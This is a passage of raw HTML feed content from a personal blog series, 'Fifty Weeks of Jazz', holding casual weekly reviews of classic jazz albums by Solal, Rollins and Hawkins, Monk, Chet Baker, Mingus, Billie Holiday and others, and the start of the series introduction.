other foreigner,"<sup class="footnote-reference"><a href="#solal-description">1</a></sup> is here to show us a European take on jazz.</p> <p>This album comes to us (mostly) live from the storied <a rel="external" href="https://en.wikipedia.org/wiki/Newport_Jazz_Festival">Newport Jazz Festival</a>—charmingly, the back of the album explains that since the only festival slot available for Solal was too short for a full album, they pre-emptively recorded a rehearsal sequence and slapped the festival applause onto the end of those tracks "to make for more natural home listening." (Once you hear the same crowd whistling on half the tracks, you can't unhear it.)</p> <p>Solal covers some well-trod standards in his set (e.g., "'Round Midnight", "Boplicity"), but the one that really caught my attention was an original composition of his: "Suite pour une frise." Don't be alarmed if the title makes no sense to you; as Martial himself put it: "If you don't understand French, I will make George Avakian to translate in the album notes." Avakian comes through, explaining that the piece is "inspired by an actual frieze; not a classical Greek one but a modern one painted on aluminum high on a modern glass-walled building in Brussels." I, however, needed things broken down even further; I had a vague recollection that a frieze is some architectural thing, but Wikipedia's definition—"even when neither columns nor pilasters are expressed, on an astylar wall it lies upon the architrave ('main beam') and is capped by the moldings of the cornice"<sup class="footnote-reference"><a href="#wikipedia-frieze">2</a></sup>—left me with more questions than answers.</p> <p>Allow me to spare you my confusion: if a building has a flat part above some columns, and especially if the flat part has a nice design on it, that's a frieze, more or less. Of course, the natural follow-up question is: can we locate the <em>exact</em> frieze that so inspired Solal? Well, the <a rel="external" href="https://fr.wikipedia.org/wiki/Suite_pour_une_frise">French Wikipedia</a> page for the song mentions that it was commissioned for the inauguration of a frieze by Ralph Cleeremans (which demonstrated Cleeremans' novel "aluchromie" technique that allowed fixing pigment to aluminum). I was able to track down some <a rel="external" href="https://web.archive.org/web/20241214225410/https://rotordc.com/aluchromie-panels-by-ralph-cleeremans">general information</a> about Cleeremans' work, and while I'm doubtful it's the exact frieze in question, you can <a rel="external" href="https://rotordc.com/shop/product/902orn014-set-of-aluchromie-panels-by-ralph-cleeremans-285-cm-high-set-14-35750">purchase one of his originals</a> for a cool 4000 Euros.</p> <p>But, ah, back to the song itself: "Suite pour une frise" leaps out of the gates with forceful energy, and it builds tension early on that keeps you on the edge of your seat. There's a couple great sections where the bass takes the spotlight, but above all else, this one puts Solal's virtuosity front and centre. For me, that last ingredient is the key piece here—I deeply love the piano, but spartan jazz melodies on the keys just don't seem to grab me as much as they might on say, a saxophone. I'm a firm believer that if you can't play the prettiest notes, you ought to at least play the <em>most</em> notes, and on that metric, Solal does not disappoint. (Mind you, I'm <em>not</em> saying that the piano is inherently less musical than other instruments, as my wife would have you believe—a mournful Chopin is equally moving as a crooning sax, but I've yet to find the former properly represented in jazz.)</p> <p>One final note: I love how much <em>humanity</em> a live recording captures. Yes, Solal's rhythms and melodies will continue to bounce around in my head, but so will his charming introductions ("…and now, Thelonious Monk's <em>classique de jazz</em>, 'Round Midnight"). I'm sure that to Solal, those off-hand remarks were an utterly forgettable part of the show, but on this album they can't help but colour the listener's overall perceptions—an unintended improvisation, recorded for posterity.</p> <p><em>Favourite track:</em> Suite pour une frise</p> <hr> <div class="footnote-definition" id="solal-description"><sup class="footnote-definition-label">1</sup> <p>Taken from the album notes, which are a veritable gold mine for this album, as we'll soon see.</p> </div> <div class="footnote-definition" id="wikipedia-frieze"><sup class="footnote-definition-label">2</sup> <p>I'm not kidding, that's an <a rel="external" href="https://en.wikipedia.org/wiki/Frieze">actual quote</a>. I like to consider myself a reasonably well-educated and well-rounded person, but after repeatedly bashing my head against that entry, I retreated to <a rel="external" href="https://simple.wikipedia.org/wiki/Simple_English_Wikipedia">Simple English Wikipedia</a> and that was only marginally better.</p> </div> 2025-03-23T00:00:00+00:00 2025-03-23T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-12/ <p>Ah, the saxophone: I'm sure we can all agree, objectively one of the best instruments. And this week we're treated to a sax masterclass: as the back cover helpfully explains, we've got <a rel="external" href="https://en.wikipedia.org/wiki/Sonny_Rollins">Sonny Rollins</a> ("the 'boss' of modern tenor sax") on the left channel, and <a rel="external" href="https://en.wikipedia.org/wiki/Coleman_Hawkins">Coleman Hawkins</a> ("the father of jazz saxophone") on the right.<sup class="footnote-reference"><a href="#rollins-hawkins-mnemonic">1</a></sup> These are indisputably two masters of the instrument, live in improvisational conversation with one another, and what a conversation it is.</p> <p>But first! Since we're on the topic of the saxophone, there's something I positively have to get out of my system. Please enjoy this series of increasingly absurd fun facts that never fail to delight me:</p> <ul> <li>The saxophone was invented in the early 1840s by <a rel="external" href="https://en.wikipedia.org/wiki/Adolphe_Sax">Adolphe Sax</a>. So it really just is a "Sax-o-phone." For some reason I always thought it'd be deeper than that.</li> <li>But Sax didn't stop at his phone: he also graced us with his <a rel="external" href="https://en.wikipedia.org/wiki/Saxhorn">saxhorn</a>, <a rel="external" href="https://en.wikipedia.org/wiki/Saxtuba">saxtuba</a>, and—who could forget?—the dulcet <a rel="external" href="https://en.wikipedia.org/wiki/Saxotromba">saxotromba</a>. Also, this thing:</li> </ul> <figure> <img src="/fifty-weeks-of-jazz/week-12/./six_valve_trombone.jpg" alt="Photograph of Adolphe Sax's 'six-valved trombone'" class="centre"> <figcaption><p>"<a rel="external" href="https://en.wikipedia.org/wiki/File:Trombone_a_six_pistons-IMG_0853-black.jpg">Six-valved trombone by Adolphe Sax</a>," as photographed by Wikipedia user <a rel="external" href="https://commons.wikimedia.org/wiki/User:Rama">Rama</a>, Cc-by-sa-2.0-fr</p> </figcaption> </figure> <ul> <li>But those pitiful horns could only deafen a man at <em>close</em> range. Sax had greater ambitions: his "Saxtonnerre" (a locomotive-powered… organ?) was designed to be heard all across Paris, without any amplification. (This one never made it past the concept stage.)</li> <li>At this point, you might have pigeonholed Sax as a designer of niche instruments. Not so; he was a true renaissance man—when he saw the devastation wrought by prolonged sieges in war, he designed the perfect solution: a cannon so giant that rather than besiege a city, one could simply <em>level the entire city with a single shot</em>. He called it—all together now!—the "Saxocannon." Mercifully, it was never built.<sup class="footnote-reference"><a href="#saxocannon-source">2</a></sup></li> </ul> <p>Even by my loose standards, that's a signficant digression. How's the actual album this week?</p> <p>It's a hoot and a holler! And a times a screech, and also occasionally a… plaintive whine? Point is, there's <em>lots</em> of sounds coming out of the saxophones, including a bunch that I wasn't expecting and a few that frankly I don't associate with competent saxophonists. And yet somehow, it all works? I mean, just listen to this snippet from the end of "Lover Man":</p> <p><audio controls src="lover_man_excerpt.mp3"></audio></p> <p>You cannot tell me in good faith that no saxophones were hurt in the making of this album. But you also cannot tell me that their pain was in vain.</p> <p><em>Favourite track:</em> All the Things You Are</p> <hr> <div class="footnote-definition" id="rollins-hawkins-mnemonic"><sup class="footnote-definition-label">1</sup> <p>Don't worry, I've got a mnemonic for this one too. Try to make a lower-case "h" by curling your index finger down and straightening your other (non-thumb) fingers. You'll have a proper "h" on your left, which is Hawkins' channel. And the, uh, other one is Rollins.</p> </div> <div class="footnote-definition" id="saxocannon-source"><sup class="footnote-definition-label">2</sup> <p>Hat tip to <a rel="external" href="https://www.nosuchthingasafish.com/">No Such Thing as a Fish</a> for putting me onto this (and much more) tomfoolery.</p> </div> 2025-03-16T00:00:00+00:00 2025-03-16T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-11/ <blockquote> <p>Moms didn't dig [jazz], she just didn't go for it</p> <p><a rel="external" href="https://en.wikipedia.org/wiki/Charlie_Parker#Other_tributes">Bird</a>, <a rel="external" href="https://en.wikipedia.org/wiki/Miles_Davis">Miles</a>, and <a rel="external" href="https://en.wikipedia.org/wiki/Max_Roach">Max</a>… she couldn't see it</p> <p>Morning, afternoon, night, or anytime</p> <p>That is, until I played her some <a rel="external" href="https://en.wikipedia.org/wiki/Thelonious_Monk">Monk</a> one night, late</p> <p><a rel="external" href="https://en.wikipedia.org/wiki/%27Round_Midnight_(song)">'Round about Midnight</a> time</p> <p>I played her some Monk!</p> <p>—Thelonious, that is</p> <p>And now Mom spends many of her <a rel="external" href="https://en.wikipedia.org/wiki/A_Night_in_Tunisia">nights in Tunisia</a></p> </blockquote> <p>—"<a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-09/">A Colloquial Dream (Scenes in the City)</a>"</p> <p>I suppose you can tell that Thelonious Monk is a big name given that I've already alluded to him <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">three</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-09/">times</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-10/">so far</a> before actually getting to one of his own albums.</p> <p>In retrospect, I can see that I came to this album with misplaced expectations. Knowing how revered Monk is and that this is one of his best-known albums, I was expecting something more avant-garde—something challenging and foreign; something that had moved jazz as a whole forward. Instead it's a… very fun and dare I say <em>approachable</em> listen? If someone wanted to dip their toes into jazz, this seems like a pretty reasonable recommendation to me.</p> <p>Everything that I've read about Monk mentions his idiosyncratic approach to piano—his percussive attacks on the keys, "angular" melodies, and emphatic use of dissonance and silence. I'm still too much of a neophyte to discern those in any sophisticated way; I can hear the dissonance come through in places (particularly in "Body and Soul"), but I doubt I could pass a blind "is it Monk?" test.</p> <p>Perhaps the above makes it sound like I'm down on the album, which isn't the case. There's a lot of fun and whimsy here; I particularly like the scratchy sax in "Bright Mississippi" and the main jaunty melodic line it features. "Bye-Ya" and "Sweet and Lovely" also stand out because I know them from <a rel="external" href="https://musicbrainz.org/release-group/e0b33a23-c61c-34a1-a903-47a55255ede5">an earlier album</a> (not featured in our 50-week journey)—in "Sweet and Lovely" I prefer the halting <em>ritardando</em> ending on <em>Monk's Dream</em> to the chromatic (?) flourishes on the other album.</p> <p>But overall, I'm leaving this week with a renewed appreciation for <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-09/">Tijuana Moods</a>—I think that's closer to what I wanted <em>Monk's Dream</em> to be. Maybe by the end of this project I'll be able to better appreciate Monk's genius in its own right.</p> <p><em>Favourite track:</em> Bright Mississippi<sup class="footnote-reference"><a href="#bright-mississippi-disambiguation">1</a></sup></p> <hr> <div class="footnote-definition" id="bright-mississippi-disambiguation"><sup class="footnote-definition-label">1</sup> <p>Uh, the (take 1) version I guess? It's cool that many of the albums we've seen so far contain multiple versions of the same song, but I don't yet know any of them well enough to distinguish between takes.</p> </div> 2025-03-10T00:00:00+00:00 2025-03-10T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-10/ <p>Ooh, this sounds pretty different to me than what we've heard so far. I think that's mostly due to the appearance of electric guitar in a few tracks and more prominent bass throughout—it strikes me as more "modern" overall? The song that most captured my attention was "Ballata in forma di blues," written for the album by Amedeo Tommasi (who also plays piano on the album); something about that starting chord progression had me completely transfixed. Interestingly, almost none of the other songs on the album were original compositions. They're almost exclusively covers, including a Thelonious Monk track (remember that name) and that perennial favourite, <a rel="external" href="https://www.youtube.com/watch?v=IFS3BW0yOsw">Over the Rainbow</a>.</p> <p>After eight instrumental tracks, I wasn't expecting the vocals on the last four (all sung by Baker himself). There's a good reason for that—those four tracks weren't on the original album release; they were a series of "orchestral pop tracks" that Baker later recorded with Ennio Morricone. (Yes, <a rel="external" href="https://www.youtube.com/watch?v=PYI09PMNazw"><em>that</em></a> Ennio Morricone.) Regardless, they've got a calm charm of their own that complements the more upbeat earlier tracks. I'm glad they were added for this CD reissue.</p> <p>As for Chet Baker the man, he seems to have been the poster boy for everything your high school's anti-drug program said would happen—with his boyish good looks and multifold musical talents, surely the world was young Chet's oyster! Unfortunately—<a rel="external" href="https://www.city-journal.org/article/when-heroin-hit-jazz">like many of his contemporaneous jazzmen</a>—Chet developed a heroin addiction early in his career and spent the rest of his life in and out of jail. He died at age 58 after apparently falling out of a hotel window while high.</p> <p>As if that wasn't sad enough, Wikipedia's biography of Chet includes the sentence "Baker was an irresponsible and distant father," <em>with a footnote</em>. Dear reader, I will be a father myself soon, and while I am sure I will make more than my own fair share of mistakes, I'm hoping not to foul it up to the point that it's <em>citation-worthy</em>.</p> <p>One more obligatory random connection. Remember when I said that listening to <em>Parole E Musica</em> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-08/">made me feel like I was in Ripley</a>? Turns out I was a couple of weeks early—in the 1999 movie <em>The Talented Mr. Ripley</em> (based on the same source material as the 2024 miniseries), <a rel="external" href="https://www.youtube.com/watch?v=N_A9xX_CVFA">Matt Damon impersonates a Chet Baker recording</a>.</p> <p><em>Favourite track:</em> Ballata in forma di blues</p> 2025-03-02T00:00:00+00:00 2025-03-02T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-09/ <p>Charles Mingus was another one of those "big names" from the jazz world that I recognized, but had never actually listened to until this week. <em>Tijuana Moods</em> sounds quite different than anything else we've heard so far; I'd describe it as more assertive and even a bit combative at times (though smooth elsewhere; e.g., on "Flamingo"). This certainly isn't "easy listening;" compared to the other albums it feels less eager to please the listener and more experimental—maybe it's fair to call it a concept album? As you might've guessed, the album was inspired by Mingus' time in Tijuana; throughout the album, even my ignorant ears can clearly discern the Latin beats and motifs getting the blood pumping as the jazz takes off.</p> <p>But the track that's stuck with me the most isn't even from the original release of the album. "A Colloquial Dream (Scenes in the City)" was only added on some later CD releases: it's nearly 11 minutes long and merges jazz with spoken-word poetry; it features a down-on-his luck narrator recounting his love for jazz and his struggles living in Harlem. At first, I didn't like it, and I wasn't convinced it was likeable by anyone—a fun novelty, sure, but is this still even music? But after listening to the album all week long, <a rel="external" href="https://en.wikipedia.org/wiki/Propinquity">propinquity</a> did its thing, and that narrator now lives rent-free in my head (a good development for him given his situation with the landlady). This isn't the kind of song you can blast at the gym or put on your party playlist, but if you're in a ruminative mood—possibly with a dram of whisky in hand—there's a real depth of soul here.</p> <p>Now catch this… DIG!</p> <p><em>Favourite track:</em> A Colloquial Dream (Scenes in the City)</p> 2025-02-20T00:00:00+00:00 2025-02-20T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-08/ <p>Eight weeks in, and we've arrived at a dubious honour: this is the first album where the top-billed performer (<a rel="external" href="https://en.wikipedia.org/wiki/Helen_Merrill">Helen Merrill</a> in this case) is still alive—as I write this in February 2025, she's a sprightly 95 years old according to Wikipedia. Perhaps more excitingly, we've also got our first duplicate track: we first heard "You Don't Know What Love Is" in <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-04/">week 4</a> (I give the edge to Merrill).</p> <p>This album has an interesting gimmick. For each "song," there's two tracks: the first is a spoken word version of the song's lyrics <em>in Italian</em>; the second is the real song (with Merrill singing in English). Is it completely unnecessary and self-indulgent? Yes. Do I love it, and does it make me pretend I'm living on the Amalfi Coast in <a rel="external" href="https://en.wikipedia.org/wiki/Ripley_(TV_series)">Ripley</a>? Also yes.</p> <p>Also, this is the third album to feature a lovely leading lady, and I have a confession to make: while there's no denying the sublimity of Merrill's singing, it's pretty clear to me by now that this isn't what I want out of my jazz—I'd almost always sooner reach for any of the instrumental albums we've heard, or Armstrong's bombastic vocals.</p> <p>One final bit of trivia for the week: this might be the first you've heard of Helen Merrill, but you surely know one of her son's songs: he wrote the original version of "<a rel="external" href="https://www.youtube.com/watch?v=Ak5xWekNfSo">I Love Rock 'n' Roll</a>."</p> <p><em>Favourite track:</em> Why Don't You Do It Right</p> 2025-02-17T00:00:00+00:00 2025-02-17T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-07/ <p>As <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-05/">previously mentioned</a>, I had listened to a grand total of three jazz albums before setting out on this expedition. We've already encountered <em>Kind of Blue</em>; one of the other two was <em><a rel="external" href="https://musicbrainz.org/release-group/f8d5a1fd-04c9-338c-b1a4-811e3b65f684">Side by Side</a></em>—<em>Side by Side</em> was mostly a Johnny Hodges album, but they stamped his better-known bandleader Ellington's mug on the cover, presumably to juice the sales.</p> <p>I bring all of this up because this week's album features some of the same suspects: Ellington has gathered together his big band (Hodges included), but they're not alone: Count Basie—another big band luminary—is on set with his crew, and out to wage Big Band "Battle Royal" (<em>sic</em>)! The stereo mix is intended to capture the conflict: Basie's group is heard on left channel, while Ellington's is on the right.<sup class="footnote-reference"><a href="#basie-ellington-mnemonic">1</a></sup> To my undiscerning ear, the result sounds as cooperative as it does antagonistic, but that doesn't stop it from being a blast through and through. At peak moments, the brass can get a little screechy; I don't think it's ever over the top but my wife is not on board with it. (E.g., listen to the climax of Battle Royal—it's on the verge of cacophony, but I think it remains on the "impassioned finale" side of the line.)</p> <p>I've bandied about "big band" above with any proper explanation, so I suppose I ought to fill in some of those details: big band is exactly what it sounds like—a musical ensemble for jazz that consists of at least ten (and often 17 or more) musicians (usually divided into saxophones, trumpets, trombones, and rhythm). Compared to earlier jazz ensembles (which typically comprised 4–5 musicians), big bands were obviously larger, but also had a greater focus on written compositions (owing to the increased difficulty of coordinating solos across a much bigger group). Big bands reached peak popularity in the late 1930s/early 1940s alongside "swing," the subgenre of jazz they usually played. Swing was very popular at dance halls; as you might guess from the name, it features a "swinging" rhythm (usually by accenting the second and fourth beats). Both Duke Ellington and Count Basie were both highly regarded big band leaders who shaped the development of swing (Ellington in particular was also a prolific composer and arranger).</p> <p>tl;dr:</p> <dl> <dt>Big band</dt> <dd>Jazz group of at least ten musicians (probably more).</dd> <dt>Swing</dt> <dd>Subgenre of jazz with a strong emphasis on a "swinging" rhythm; frequently played at dance halls.</dd> </dl> <p><em>Favourite track:</em> Wild Man (aka Wild Man Moore)<sup class="footnote-reference"><a href="#wild-man-notes">2</a></sup></p> <hr> <div class="footnote-definition" id="basie-ellington-mnemonic"><sup class="footnote-definition-label">1</sup> <p>Easy mnemonic to keep it straight: try making lowercase "b" or "d" letters with both your hands (i.e. make an "OK" gesture, then straighten your third, fourth, and pinkie fingers). You'll notice that on your left you have Count <em>b</em>asie, while on your right you have <em>d</em>uke Ellington.</p> </div> <div class="footnote-definition" id="wild-man-notes"><sup class="footnote-definition-label">2</sup> <p>I'm a sucker for some jazz flute (which also featured in a track on <em>Side by Side</em>). Wild Man brings that, and the ending gives me chills—the pianos trading off final high &amp; low notes is perfect.</p> </div> 2025-02-15T00:00:00+00:00 2025-02-15T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-05/ <p>We're into the heavy hitters now—this is one of the few jazz albums I picked up prior to this experiment, based on its universal praise. What is there for me to say that hasn't already been said? It's <em>Kind of Blue</em>—if any album <em>is</em> jazz, it's this one.</p> <p>From what I've been able to gather online, <em>Kind of Blue</em> is notable for pioneering modal jazz (in response to <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">hard bop</a>). My limited understanding is that in hard bop, melodies were largely driven by quick chord progressions: soloists displayed their incredible virtuosity by continually adapting to the rapidly shifting tonal centre dictated by the chord changes. In contrast, modal jazz uses very few, slow-moving chords—giving soloists more latitude to develop their melodies without being constrained by the strictures of the chord progression. (As for what exactly musical "<a rel="external" href="https://en.wikipedia.org/wiki/Mode_(music)">modes</a>" are and what their significance is, I still don't have a clear understanding.)</p> <p>I'm sure I'll be listening to and learning from this one for many years to come, along with the rest of the world.</p> <p><em>Favourite track:</em> So What</p> 2025-02-15T00:00:00+00:00 2025-02-15T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-06/ <p>This album was an immediate revelation for me. I've listened to some great stuff already, but <em>Time Out</em> had me hooked from the first few bars—the opening rhythm of Blue Rondo à la Turk is now permanently tattooed on my brain. Perhaps that's no coincidence; <em>Time Out</em>'s primary innovation is its usage of time signatures that were previously uncommon in jazz (e.g., <span class="time-signature"> <sup><b>9</b></sup> <sub><b>8</b></sub> </span> in Blue Rondo à la Turk; <span class="time-signature"> <sup><b>5</b></sup> <sub><b>4</b></sub> </span> in Take Five). If, like me, you're struggling to understand the nuances of <span class="time-signature"> <sup><b>9</b></sup> <sub><b>8</b></sub> </span> rhythm, here's a helpful explanatory video <a rel="external" href="https://en.wikipedia.org/wiki/File:Blue-Rondo-%C3%A0-La-Turk.theora.ogv">from Wikipedia</a>:</p> <iframe src="https://commons.wikimedia.org/wiki/File:Blue-Rondo-%C3%A0-La-Turk.theora.ogv?embedplayer=yes" style="max-width: 100%" width="512" height="288" frameborder="0" loading="lazy" allow="autoplay; picture-in-picture" allowfullscreen></iframe> <p>Got it? Good.</p> <p>Another thing that stood out to me was how… classical this album sounds? Even on my first listen, something here struck me as familiar in a way I hadn't experienced with the earlier albums.</p> <p>One more embed before we go: Canadian film animator <a rel="external" href="https://en.wikipedia.org/wiki/Steven_Woloshen">Steven Woloshen</a> produced a short film set to Take Five that I think is pretty neat:</p> <div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/215511559?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Cameras Take Five"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p><em>Favourite track:</em> Blue Rondo à la Turk</p> 2025-01-28T00:00:00+00:00 2025-01-28T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-03/ <p>After Ms. Vaughan's lovely but somewhat sedate tunes, I was hoping for this week to bring a little more energy, and The Jazz Messengers definitely delivered on that front. Wikipedia tells me we're in <a rel="external" href="https://en.wikipedia.org/wiki/Hard_bop">hard bop</a> territory now, and it's not hard to hear why it might've earned that moniker.</p> <p>Art Blakey is undeniably a monster on the drums, but some of his solos end up sounding a little… samey to me? Take the first big solo from Infra-Rae: it starts to get repetitive for me in a way that I've never felt when listening to say, <a rel="external" href="https://en.wikipedia.org/wiki/Neil_Peart">Neil Peart</a>. Listen for yourself and see if you agree:</p> <p><audio controls src="infra-rae_solo.mp3"></audio></p> <p>Not too much more to say on this one, other than that I'm glad to have some high-tempo, vocal-free jazz—good music for when you really need to get something done. Oh, and "Carol's Interlude" on this album really reminds me of "Epistrohpy" from another <a rel="external" href="https://musicbrainz.org/release-group/e0b33a23-c61c-34a1-a903-47a55255ede5">Monk/Coltrane album</a> I have.</p> <p><em>Favourite track:</em> Hank's Symphony</p> 2025-01-28T00:00:00+00:00 2025-01-28T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-04/ <p>Given that the primary feature here is a solo female vocalist—Billie Holiday—I couldn't help but compare this album to the <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-02/">earlier Sarah Vaughan album</a>. I prefer this one: the lush orchestral backing really helps create a sweeping, dramatic sense of romance, as opposed to Vaughan's lighter, airier mood.</p> <p>Immediately, one can hear some fragility and rasp in Holiday's voice; she comes across as much more "mature" than Vaughan to my ears. What I hadn't realized was the sad explanation: at the time of the recording, Holiday was in poor health, after having weathered decades of damage from alcohol, hard drugs, and abusive relationships. She recorded this album in February 1958 and passed away barely 18 months later. The critical consensus seems to be that the album packs a huge emotional punch, but that Holiday had lost some of her range and force by this point—I'd like to return to her earlier work and compare for myself.</p> <p>I suspect this album will also hold a special place in my heart owing to the circumstances of my first listen: not wanting to miss a week, I had copied this album to my phone in advance of a trip to the Netherlands; I listened to it together with my wife on the train as we watched the Dutch countryside go by.</p> <p>Two miscellaneous closing thoughts:</p> <ul> <li>It's a dang shame that she never had a chance to sing a Bond theme (and not only because that would up the <a rel="external" href="https://en.wikipedia.org/wiki/No_Time_to_Die_(song)">Billie–Bond count</a> to two).</li> <li>Thanks to Wikipedia, I learned that there's a <a rel="external" href="https://planetarynames.wr.usgs.gov/Feature/2542">crater on Venus</a> named after her.</li> </ul> <p><em>Favourite track:</em> For Heaven's Sake</p> 2025-01-14T00:00:00+00:00 2026-01-25T00:00:00+00:00 https://simpsonian.ca/blog/fifty-weeks-of-jazz/ <p>Right—the holidays are over, the Christmas tree is fuel for the fire, and the worst of the NYE champagne bottle shards have been swept up; it's time to get serious. As in, resolutions.</p> <span id="continue-reading"></span><p class="bubble"> <em>Update, 2025-10-30: if you're just popping in for the first time, I recommend you skip past the first few entries; like most series, this one took a little time to find its footing. I'd say it starts to pick up around <a href="#week-12">week 12</a>; <a href="#week-15">week 15</a>, <a href="#week-28">week 28</a>, <a href="#week-30">week 30</a>, <a href="#week-31">week 31</a>, and <a href="#week-39">week 39</a> are among my favourites.</em> </p> <p>Over the past few months I've been trying to listen to more jazz. I can't quite remember what started this whole project, but now I won't rest until I've achieved my own transcendental <a rel="external" href="https://www.youtube.com/watch?v=bKwQ_zeRwEs">jazz trance</a>.</p> <p>As it so happens, while checking out the local flea market recently I chanced upon some very relevant <a rel="external" href="https://www.discogs.com/release/2375584-Various-The-Perfect-Jazz-Collection">box</a> <a rel="external" href="https://www.discogs.com/release/2966397-Various-The-Perfect-Jazz-Collection-2">sets</a>, comprising some fifty classic jazz albums.</p> <p>So here's the plan: at one album per week, that gives me about a year of autodidactic jazz education, plus a buffer at the end for some self-reflection. I don't have a textbook or any other proper guide; I'm just going to listen to the albums, binge some Wikipedia pages, and see where that gets me in a year.</p> <p>Fair warning: this post is just going to be me brain-dumping my uneducated, undiscerning thoughts on these albums. I don't imagine it will be entertaining or useful in any way for literally anybody else, but hey, you're the one reading it. If, for some misguided reason you do want to follow along, there's <a href="/fifty-weeks-of-jazz/atom.xml">a dedicated feed</a> for just this project in addition to <a href="/atom.xml">the overall blog feed</a>, as well as a <a href="https://simpsonian.ca/fifty-weeks-of-jazz/">separate section</a> of the site.</p> <details> <summary>Table of contents</summary> <ol> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-1">Louis Armstrong Plays W. C. Handy</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-2">Sarah Vaughan in Hi‐Fi</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">The Jazz Messengers</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-4">Lady in Satin</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-5">Kind of Blue</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-6">Time Out</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-7">First Time! The Count Meets the Duke</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-8">Parole E Musica</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-9">Tijuana Moods</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-10">Chet Is Back!</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-11">Monk's Dream</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-12">Sonny Meets Hawk!</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-13">At Newport '63</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-14">Two of a Mind</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-15">Together Again!</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-16">It's Uptown</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-17">Nina Simone Sings the Blues</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-18">Piano Starts Here</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-19">Concert by the Sea</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-20">Head Hunters</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-21">The Best of Two Worlds</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-22">Jaco Pastorius</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-23">Heavy Weather</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-24">Marsalis Standard Time, Volume 1</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">Bird: Original Motion Picture Soundtrack</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-26">Ellington Uptown</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-27">Jazz Goes to College</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-28">Satch Plays Fats: A Tribute to the Immortal Fats Waller</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-29">’Round About Midnight</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-30">The Sound of Jazz</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-31">Mingus Ah Um</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-32">Desmond Blue</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-33">The Bridge</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-34">The Electrifying Aretha Franklin</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-35">Silk &amp; Soul</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-36">Underground</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-37">Straight Life</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-38">Beyond the Blue Horizon</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-39">Birds of Fire</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-40">The Beginning and the End</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-41">She Was Too Good to Me</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-42">Carnegie Hall Concert</a></li> <li><a 